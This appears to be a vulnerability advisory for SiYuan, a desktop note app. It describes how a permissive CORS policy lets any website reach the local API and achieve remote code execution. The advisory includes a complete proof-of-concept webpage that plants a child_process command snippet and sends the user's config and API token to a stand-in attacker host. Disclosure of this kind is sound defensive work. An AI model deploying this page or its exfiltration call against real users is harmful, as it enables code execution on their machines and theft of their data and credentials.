A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>
sajdakabir Reporter
zerotrail-ai Finder
Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (
Access-Control-Allow-Origin: *+Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.Details
Vulnerable files:
kernel/server/serve.go, lines 960-963 — CORS middlewarekernel/api/snippet.go, lines 93-128 — snippet injection endpointRoot cause: The CORS middleware unconditionally sets:
The
Access-Control-Allow-Private-Network: trueheader explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined withAccess-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at127.0.0.1:6806.The auth middleware at
kernel/model/session.go:251-280checks theOriginheader, but this check is bypassed because the browser sends the session cookie (set on127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.Attack chain:
https://evil-attacker.comwhile SiYuan desktop is runninghttp://127.0.0.1:6806— SiYuan responds with permissive CORS headers/api/snippet/setSnippetwith the user's session cookiePoC
Malicious webpage (hosted on any domain):
Verification steps:
SIYUAN_ACCESS_AUTH_CODEset)Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from
Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.Impact
127.0.0.1:6806by default. TheAccess-Control-Allow-Private-Network: trueheader explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.References